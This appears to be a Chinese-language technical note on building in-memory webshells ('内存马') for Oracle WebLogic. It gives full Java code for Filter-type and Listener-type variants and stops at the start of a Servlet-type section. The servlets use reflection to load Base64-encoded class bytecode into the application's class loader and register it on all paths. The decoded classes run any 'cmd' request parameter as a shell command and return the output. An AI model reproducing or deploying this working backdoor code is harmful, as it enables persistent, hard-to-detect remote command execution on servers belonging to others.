测试环境

  1. 操作系统:Windows 2016
  2. weblogic版本:10.3.6
  3. JDK版本:1.7.80

需要导入的依赖包

  1. C:\Oracle\Middleware\wlserver_10.3\server\lib
  2. C:\Oracle\Middleware\modules

weblogic 10.3.6 内存马记录 - 图1

Base64与Class文件互转

实现代码

Base64字符串 转 Class文件

  1. import sun.misc.BASE64Decoder;
  2. import java.io.FileOutputStream;
  3. import java.io.IOException;
  4. public class Base64ToClass {
  5. public static void main(String[] args) throws IOException {
  6. String d = "yv66vgAAADQAkgoAHgBJCAA/CwBKAEsIAEwKAE0ATgoACQBPCABQCgAJAFEHAFIIAFMIAFQIAFUIAFYKAFcAWAoAVwBZCgBaAFsHAFwKABEAXQgAXgoAEQBfCgARAGAKABEAYQgAYgsAYwBkCgBlAGYKAGUAZwoAZQBoCwBpAGoHAGsHAGwHAG0BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAC0xjbWRGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAbgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAFzAQATTGphdmEvdXRpbC9TY2FubmVyOwEABm91dHB1dAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABndyaXRlcgEAEExqYXZhL2lvL1dyaXRlcjsBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAFIHADAHAG8HAFwHAHABAAdkZXN0cm95AQAKU291cmNlRmlsZQEADmNtZEZpbHRlci5qYXZhDAAgACEHAHEMAHIAcwEAB29zLm5hbWUHAHQMAHUAcwwAdgB3AQADd2luDAB4AHkBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jAQACc2gBAAItYwcAegwAewB8DAB9AH4HAH8MAIAAgQEAEWphdmEvdXRpbC9TY2FubmVyDAAgAIIBAAJcYQwAgwCEDACFAIYMAIcAdwEAAAcAiAwAiQCKBwCLDACMAI0MAI4AIQwAjwAhBwCQDAAtAJEBAAljbWRGaWx0ZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAOamF2YS9pby9Xcml0ZXIBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAFY2xvc2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAB0AHgABAB8AAAAEAAEAIAAhAAEAIgAAAC8AAQABAAAABSq3AAGxAAAAAgAjAAAABgABAAAABQAkAAAADAABAAAABQAlACYAAAABACcAKAACACIAAAA1AAAAAgAAAAGxAAAAAgAjAAAABgABAAAACQAkAAAAFgACAAAAAQAlACYAAAAAAAEAKQAqAAEAKwAAAAQAAQAsAAEALQAuAAIAIgAAAYAABAAKAAAAoisSArkAAwIAOgQZBMYAjQE6BRIEuAAFtgAGEge2AAiZABsGvQAJWQMSClNZBBILU1kFGQRTOgWnABgGvQAJWQMSDFNZBBINU1kFGQRTOgW4AA4ZBbYAD7YAEDoGuwARWRkGtwASEhO2ABQ6BxkHtgAVmQALGQe2ABanAAUSFzoILLkAGAEAOgkZCRkItgAZGQm2ABoZCbYAGy0rLLkAHAMAsQAAAAMAIwAAAD4ADwAAAA0ACgAOAA8ADwASABEAIgASADoAFABPABcAXAAYAGwAGQCAABoAiAAbAI8AHACUAB0AmQAfAKEAIAAkAAAAZgAKABIAhwAvADAABQBcAD0AMQAyAAYAbAAtADMANAAHAIAAGQA1ADYACACIABEANwA4AAkAAACiACUAJgAAAAAAogA5ADoAAQAAAKIAOwA8AAIAAACiAD0APgADAAoAmAA/ADYABABAAAAAHAAF/QA6BwBBBwBCFP0ALAcAQwcAREEHAEH4ABoAKwAAAAYAAgBFACwAAQBGACEAAQAiAAAAKwAAAAEAAAABsQAAAAIAIwAAAAYAAQAAACcAJAAAAAwAAQAAAAEAJQAmAAAAAQBHAAAAAgBI";
  7. byte[] dx = new BASE64Decoder().decodeBuffer(d);
  8. FileOutputStream abc = new FileOutputStream("xxx.class");
  9. abc.write(dx);
  10. abc.close();
  11. }
  12. }

Class文件 转 Base64字符串

  1. import sun.misc.BASE64Encoder;
  2. import java.io.*;
  3. public class ClassToBase64 {
  4. public static void main(String[] args) {
  5. try{
  6. File file = new File("E:\\Demo\\TestJava\\target\\classes\\cmdFilter.class");
  7. FileInputStream fileInputStream = new FileInputStream(file);
  8. ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  9. byte[] bytes = new byte[fileInputStream.available()];
  10. int len;
  11. while ((len = fileInputStream.read(bytes))!=-1){
  12. byteArrayOutputStream.write(bytes,0,len);
  13. }
  14. String encode = new BASE64Encoder().encode(byteArrayOutputStream.toByteArray());
  15. System.out.println(encode.replaceAll("\\r|\\n",""));
  16. }catch (Exception e){
  17. e.printStackTrace();
  18. }
  19. }
  20. }

0x01 Filter型内存马

实现代码

以下代码在weblogic 10.3.6 和weblogic 12.2.1.3 上均可运行

  1. import sun.misc.BASE64Decoder;
  2. import weblogic.servlet.internal.ServletRequestImpl;
  3. import weblogic.servlet.internal.WebAppServletContext;
  4. import java.io.*;
  5. import java.lang.reflect.Field;
  6. import java.lang.reflect.Method;
  7. import java.util.Map;
  8. import javax.servlet.http.*;
  9. public class HelloServlet extends HttpServlet {
  10. private String message;
  11. public void init() {
  12. message = "Hello World!";
  13. }
  14. public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
  15. response.getWriter().write("this is filter ");
  16. Thread thread = Thread.currentThread();
  17. try {
  18. //获取WebAppServletContext
  19. Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
  20. workEntry.setAccessible(true);
  21. Object workentry = workEntry.get(thread);
  22. WebAppServletContext webAppServletContext=null;
  23. try{ //weblogic 12.1.3
  24. Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
  25. connectionHandler.setAccessible(true);
  26. Object http = connectionHandler.get(workentry);
  27. Field request1 = http.getClass().getDeclaredField("request");
  28. request1.setAccessible(true);
  29. ServletRequestImpl servletRequest = (ServletRequestImpl) request1.get(http);
  30. Field context = servletRequest.getClass().getDeclaredField("context");
  31. context.setAccessible(true);
  32. webAppServletContext = (WebAppServletContext) context.get(servletRequest);
  33. }catch (Exception e){
  34. //weblogic 1036
  35. Field context = workentry.getClass().getDeclaredField("context");
  36. context.setAccessible(true);
  37. webAppServletContext = (WebAppServletContext) context.get(workentry);
  38. }
  39. if(webAppServletContext==null){throw new Exception("null");}
  40. //加载字节码
  41. String encode_class = "yv66vgAAADMAkwoAHgBKCAA/CwBLAEwIAE0KAE4ATwoACQBQCABRCgAJAFIHAFMIAFQIAFUIAFYIAFcKAFgAWQoAWABaCgBbAFwHAF0KABEAXggAXwoAEQBgCgARAGEKABEAYggAYwsAZABlCgBmAGcKAGYAaAoAZgBpCwBqAGsHAGwHAG0HAG4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAC0xjbWRGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAbwEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAFzAQATTGphdmEvdXRpbC9TY2FubmVyOwEABm91dHB1dAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABndyaXRlcgEAEExqYXZhL2lvL1dyaXRlcjsBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAFMHADAHAHAHAF0HAFMHAHEBAAdkZXN0cm95AQAKU291cmNlRmlsZQEADmNtZEZpbHRlci5qYXZhDAAgACEHAHIMAHMAdAEAB29zLm5hbWUHAHUMAHYAdAwAdwB4AQADd2luDAB5AHoBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jAQACc2gBAAItYwcAewwAfAB9DAB+AH8HAIAMAIEAggEAEWphdmEvdXRpbC9TY2FubmVyDAAgAIMBAAJcYQwAhACFDACGAIcMAIgAeAEAAAcAiQwAigCLBwCMDACNAI4MAI8AIQwAkAAhBwCRDAAtAJIBAAljbWRGaWx0ZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAOamF2YS9pby9Xcml0ZXIBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAFY2xvc2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAB0AHgABAB8AAAAEAAEAIAAhAAEAIgAAADMAAQABAAAABSq3AAGxAAAAAgAjAAAACgACAAAADQAEAA4AJAAAAAwAAQAAAAUAJQAmAAAAAQAnACgAAgAiAAAANQAAAAIAAAABsQAAAAIAIwAAAAYAAQAAABEAJAAAABYAAgAAAAEAJQAmAAAAAAABACkAKgABACsAAAAEAAEALAABAC0ALgACACIAAAGAAAQACgAAAKIrEgK5AAMCADoEGQTGAI0BOgUSBLgABbYABhIHtgAImQAbBr0ACVkDEgpTWQQSC1NZBRkEUzoFpwAYBr0ACVkDEgxTWQQSDVNZBRkEUzoFuAAOGQW2AA+2ABA6BrsAEVkZBrcAEhITtgAUOgcZB7YAFZkACxkHtgAWpwAFEhc6CCy5ABgBADoJGQkZCLYAGRkJtgAaGQm2ABstKyy5ABwDALEAAAADACMAAAA+AA8AAAAUAAoAFQAPABYAEgAXACIAGAA6ABoATwAdAFwAHgBsAB8AgAAgAIgAIQCPACIAlAAjAJkAJgChACcAJAAAAGYACgASAIcALwAwAAUAXAA9ADEAMgAGAGwALQAzADQABwCAABkANQA2AAgAiAARADcAOAAJAAAAogAlACYAAAAAAKIAOQA6AAEAAACiADsAPAACAAAAogA9AD4AAwAKAJgAPwA2AAQAQAAAABwABf0AOgcAQQcAQhT9ACwHAEMHAERBBwBF+AAaACsAAAAGAAIARgAsAAEARwAhAAEAIgAAACsAAAABAAAAAbEAAAACACMAAAAGAAEAAAAqACQAAAAMAAEAAAABACUAJgAAAAEASAAAAAIASQ==";
  42. byte[] decode_class = new BASE64Decoder().decodeBuffer(encode_class);
  43. Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
  44. defineClass.setAccessible(true);
  45. //这里为了适配weblogic 1036 必须反射获取webAppServletContext中的classLoader
  46. Field loader = webAppServletContext.getClass().getDeclaredField("classLoader");
  47. loader.setAccessible(true);
  48. ClassLoader ClassLoader0= (ClassLoader) loader.get(webAppServletContext);
  49. Class filter_class = (Class) defineClass.invoke(ClassLoader0, decode_class, 0, decode_class.length);
  50. //获取ChangeAwareClassLoader,因为cachedClasses这个变量在ChangeAwareClassLoader中
  51. Field classLoader = webAppServletContext.getClass().getDeclaredField("classLoader");
  52. classLoader.setAccessible(true);
  53. ClassLoader classLoader1 = (ClassLoader) classLoader.get(webAppServletContext);
  54. //获取cachedClasses
  55. Field cachedClasses = classLoader1.getClass().getDeclaredField("cachedClasses");
  56. cachedClasses.setAccessible(true);
  57. Object cachedClasses_map = cachedClasses.get(classLoader1);
  58. Method get = cachedClasses_map.getClass().getDeclaredMethod("get", Object.class);
  59. get.setAccessible(true);
  60. //如果cachedClasses中不存在cmdFilter类
  61. if (get.invoke(cachedClasses_map, "cmdFilter") == null) {
  62. //把cmdFilter的class 存入cachedClasses中
  63. Method put = cachedClasses_map.getClass().getMethod("put", Object.class, Object.class);
  64. put.setAccessible(true);
  65. put.invoke(cachedClasses_map, "cmdFilter", filter_class);
  66. //获取filterManager类
  67. Field filterManager = webAppServletContext.getClass().getDeclaredField("filterManager");
  68. filterManager.setAccessible(true);
  69. Object o = filterManager.get(webAppServletContext);
  70. //注册Filter
  71. Method registerFilter = o.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
  72. registerFilter.setAccessible(true);
  73. registerFilter.invoke(o, "test", "cmdFilter", new String[]{"/*"}, null, null, null);
  74. response.getWriter().write("success!!!");
  75. }
  76. } catch (Exception e) {
  77. e.printStackTrace();
  78. }
  79. }
  80. public void destroy() {
  81. }
  82. }

Base64字符串加载的类

  1. import java.io.IOException;
  2. import java.io.InputStream;
  3. import java.io.Writer;
  4. import java.util.Scanner;
  5. import javax.servlet.Filter;
  6. import javax.servlet.FilterChain;
  7. import javax.servlet.FilterConfig;
  8. import javax.servlet.ServletException;
  9. import javax.servlet.ServletRequest;
  10. import javax.servlet.ServletResponse;
  11. public class cmdFilter implements Filter {
  12. public cmdFilter() {
  13. }
  14. public void init(FilterConfig filterConfig) throws ServletException {
  15. }
  16. public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
  17. String cmd = servletRequest.getParameter("cmd");
  18. if (cmd != null) {
  19. String[] cmds = null;
  20. if (System.getProperty("os.name").toLowerCase().contains("win")) {
  21. cmds = new String[]{"cmd.exe", "/c", cmd};
  22. } else {
  23. cmds = new String[]{"sh", "-c", cmd};
  24. }
  25. InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
  26. Scanner s = (new Scanner(in)).useDelimiter("\\a");
  27. String output = s.hasNext() ? s.next() : "";
  28. Writer writer = servletResponse.getWriter();
  29. writer.write(output);
  30. writer.flush();
  31. writer.close();
  32. }
  33. filterChain.doFilter(servletRequest, servletResponse);
  34. }
  35. public void destroy() {
  36. }
  37. }

0x02 Listener型内存马

实现代码

以下代码在weblogic 10.3.6 和weblogic 12.2.1.3 上均可运行

  1. import sun.misc.BASE64Decoder;
  2. import weblogic.servlet.internal.EventsManager;
  3. import weblogic.servlet.internal.ServletRequestImpl;
  4. import weblogic.servlet.internal.WebAppServletContext;
  5. import javax.servlet.http.HttpServlet;
  6. import javax.servlet.http.HttpServletRequest;
  7. import javax.servlet.http.HttpServletResponse;
  8. import java.io.IOException;
  9. import java.lang.reflect.Field;
  10. import java.lang.reflect.Method;
  11. import java.util.EventListener;
  12. public class guguServlet extends HttpServlet {
  13. public void init() {
  14. }
  15. public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
  16. response.getWriter().write("hello");
  17. Thread thread = Thread.currentThread();
  18. try {
  19. //获取WebAppServletContext
  20. Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
  21. workEntry.setAccessible(true);
  22. Object workentry = workEntry.get(thread);
  23. WebAppServletContext webAppServletContext=null;
  24. try{ //weblogic 12.1.3
  25. Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
  26. connectionHandler.setAccessible(true);
  27. Object http = connectionHandler.get(workentry);
  28. Field request1 = http.getClass().getDeclaredField("request");
  29. request1.setAccessible(true);
  30. ServletRequestImpl servletRequest = (ServletRequestImpl) request1.get(http);
  31. Field context = servletRequest.getClass().getDeclaredField("context");
  32. context.setAccessible(true);
  33. webAppServletContext = (WebAppServletContext) context.get(servletRequest);
  34. }catch (Exception e){
  35. //weblogic 1036
  36. Field context = workentry.getClass().getDeclaredField("context");
  37. context.setAccessible(true);
  38. webAppServletContext = (WebAppServletContext) context.get(workentry);
  39. }
  40. if(webAppServletContext==null){throw new Exception("null");}
  41. //打印当前web的目录
  42. System.out.println(webAppServletContext.getRootTempDir());
  43. //加载字节码
  44. String encode_class ="yv66vgAAADMAdwoAGAA8CgA9AD4IADELAD8AQAoAQQBCCgBBAEMHAEQHAEUKAEYARwoACABICgAHAEkHAEoKAAwAPAoABwBLCgAMAEwIAE0KAAwATgcATwoAEgBQCgBRAFIKAFMAVAcAVQcAVgcAVwcAWAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAMTG15TGlzdGVuZXI7AQAQcmVxdWVzdERlc3Ryb3llZAEAJihMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdEV2ZW50OylWAQATc2VydmxldFJlcXVlc3RFdmVudAEAI0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0RXZlbnQ7AQAScmVxdWVzdEluaXRpYWxpemVkAQACcHMBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQACYnIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAAJzYgEAGExqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEABGxpbmUBABJMamF2YS9sYW5nL1N0cmluZzsBAAZyZXN1bHQBAAhyZXNwb25zZQEAL0x3ZWJsb2dpYy9zZXJ2bGV0L2ludGVybmFsL1NlcnZsZXRSZXNwb25zZUltcGw7AQADY21kAQANU3RhY2tNYXBUYWJsZQcAVgcAWQcAWgcAWwcARAcASgcAVQEAClNvdXJjZUZpbGUBAA9teUxpc3RlbmVyLmphdmEMABoAGwcAWQwAXABdBwBeDABfAGAHAGEMAGIAYwwAZABlAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAFsMAGYAZwwAGgBoDAAaAGkBABZqYXZhL2xhbmcvU3RyaW5nQnVmZmVyDABqAGsMAGwAbQEABDxicj4MAG4AawEALHdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvU2VydmxldFJlcXVlc3RJbXBsDABvAHAHAHEMAHIAcwcAdAwAdQB2AQATamF2YS9pby9JT0V4Y2VwdGlvbgEACm15TGlzdGVuZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAkamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdExpc3RlbmVyAQAhamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdEV2ZW50AQAQamF2YS9sYW5nL1N0cmluZwEAEWphdmEvbGFuZy9Qcm9jZXNzAQARZ2V0U2VydmxldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEACHRvU3RyaW5nAQALZ2V0UmVzcG9uc2UBADEoKUx3ZWJsb2dpYy9zZXJ2bGV0L2ludGVybmFsL1NlcnZsZXRSZXNwb25zZUltcGw7AQAtd2VibG9naWMvc2VydmxldC9pbnRlcm5hbC9TZXJ2bGV0UmVzcG9uc2VJbXBsAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAXABgAAQAZAAAAAwABABoAGwABABwAAAAvAAEAAQAAAAUqtwABsQAAAAIAHQAAAAYAAQAAAAoAHgAAAAwAAQAAAAUAHwAgAAAAAQAhACIAAQAcAAAANQAAAAIAAAABsQAAAAIAHQAAAAYAAQAAAA4AHgAAABYAAgAAAAEAHwAgAAAAAAABACMAJAABAAEAJQAiAAEAHAAAAV8ABQAJAAAAciu2AAISA7kABAIATSzGAGS4AAUstgAGTrsAB1m7AAhZLbYACbcACrcACzoEuwAMWbcADToFGQS2AA5ZOgbGABMZBRkGtgAPEhC2AA9Xp//oGQW2ABE6Byu2AALAABK2ABM6CBkItgAUGQe2ABWnAAROsQABABAAbQBwABYAAwAdAAAANgANAAAAEgAMABMAEAAVABgAFgAsABcANQAZAEAAGgBQABwAVwAdAGMAHgBtACAAcAAfAHEAIgAeAAAAXAAJABgAVQAmACcAAwAsAEEAKAApAAQANQA4ACoAKwAFAD0AMAAsAC0ABgBXABYALgAtAAcAYwAKAC8AMAAIAAAAcgAfACAAAAAAAHIAIwAkAAEADABmADEALQACADIAAAA1AAT/ADUABgcAMwcANAcANQcANgcANwcAOAAA/AAaBwA1/wAfAAMHADMHADQHADUAAQcAOQAAAQA6AAAAAgA7";
  45. byte[] decode_class = new BASE64Decoder().decodeBuffer(encode_class);
  46. Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
  47. defineClass.setAccessible(true);
  48. //这里为了适配weblogic 1036 必须反射获取webAppServletContext中的classLoader
  49. Field loader = webAppServletContext.getClass().getDeclaredField("classLoader");
  50. loader.setAccessible(true);
  51. ClassLoader ClassLoader0= (ClassLoader) loader.get(webAppServletContext);
  52. Class filter_class = (Class) defineClass.invoke(ClassLoader0, decode_class, 0, decode_class.length);
  53. System.out.println(filter_class);
  54. //获取ChangeAwareClassLoader,因为cachedClasses这个变量在ChangeAwareClassLoader中
  55. Field classLoader = webAppServletContext.getClass().getDeclaredField("classLoader");
  56. classLoader.setAccessible(true);
  57. ClassLoader classLoader1 = (ClassLoader) classLoader.get(webAppServletContext);
  58. //获取cachedClasses
  59. Field cachedClasses = classLoader1.getClass().getDeclaredField("cachedClasses");
  60. cachedClasses.setAccessible(true);
  61. Object cachedClasses_map = cachedClasses.get(classLoader1);
  62. Method get = cachedClasses_map.getClass().getDeclaredMethod("get", Object.class);
  63. get.setAccessible(true);
  64. //如果cachedClasses中不存在cmdListener类
  65. if (get.invoke(cachedClasses_map, "cmdListener") == null) {
  66. //把cmdListener的class 存入cachedClasses中
  67. Method put = cachedClasses_map.getClass().getMethod("put", Object.class, Object.class);
  68. put.setAccessible(true);
  69. put.invoke(cachedClasses_map, "cmdListener", filter_class);
  70. Field eM = webAppServletContext.getClass().getDeclaredField("eventsManager");
  71. eM.setAccessible(true);
  72. EventsManager eventsManager=(EventsManager)eM.get(webAppServletContext);
  73. try {
  74. //Weblogic 12.1.3
  75. //创建EventListener
  76. Method listen=eventsManager.getClass().getDeclaredMethod("createListener", String.class);
  77. listen.setAccessible(true);
  78. EventListener listener=(EventListener)listen.invoke(eventsManager,"cmdListener");
  79. //调用addEventListener添加Listener
  80. Method addListener = eventsManager.getClass().getDeclaredMethod("addEventListener", EventListener.class);
  81. addListener.setAccessible(true);
  82. addListener.invoke(eventsManager,listener);
  83. response.getWriter().write("success!!!");
  84. }catch (Exception e){
  85. //weblogic1036 可以直接调用registerListener添加
  86. Method listen=webAppServletContext.getClass().getDeclaredMethod("registerListener", String.class);
  87. listen.setAccessible(true);
  88. listen.invoke(webAppServletContext,"cmdListener");
  89. response.getWriter().write("success!!!");
  90. }
  91. }
  92. } catch (Exception e) {
  93. e.printStackTrace();
  94. }
  95. }
  96. public void destroy() {
  97. }
  98. }

Base64字符串加载的类

  1. import weblogic.servlet.internal.ServletRequestImpl;
  2. import weblogic.servlet.internal.ServletResponseImpl;
  3. import javax.servlet.ServletRequestEvent;
  4. import javax.servlet.ServletRequestListener;
  5. import java.io.BufferedReader;
  6. import java.io.IOException;
  7. import java.io.InputStreamReader;
  8. public class myListener implements ServletRequestListener {
  9. @Override
  10. public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
  11. }
  12. @Override
  13. public void requestInitialized(ServletRequestEvent servletRequestEvent) {
  14. String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
  15. if (cmd != null) {
  16. try {
  17. Process ps = Runtime.getRuntime().exec(cmd);
  18. BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
  19. StringBuffer sb = new StringBuffer();
  20. String line;
  21. while ((line = br.readLine()) != null) {
  22. sb.append(line).append("<br>");//执行结果加上回车
  23. }
  24. String result = sb.toString();
  25. ServletResponseImpl response= ((ServletRequestImpl) servletRequestEvent.getServletRequest()).getResponse();
  26. response.getWriter().write(result);
  27. } catch (IOException e) {
  28. }
  29. }
  30. }
  31. }

0x03 Servlet型内存马

实现代码

以下代码在weblogic 10.3.6 和weblogic 12.2.1.3 上均可运行

  1. import sun.misc.BASE64Decoder;
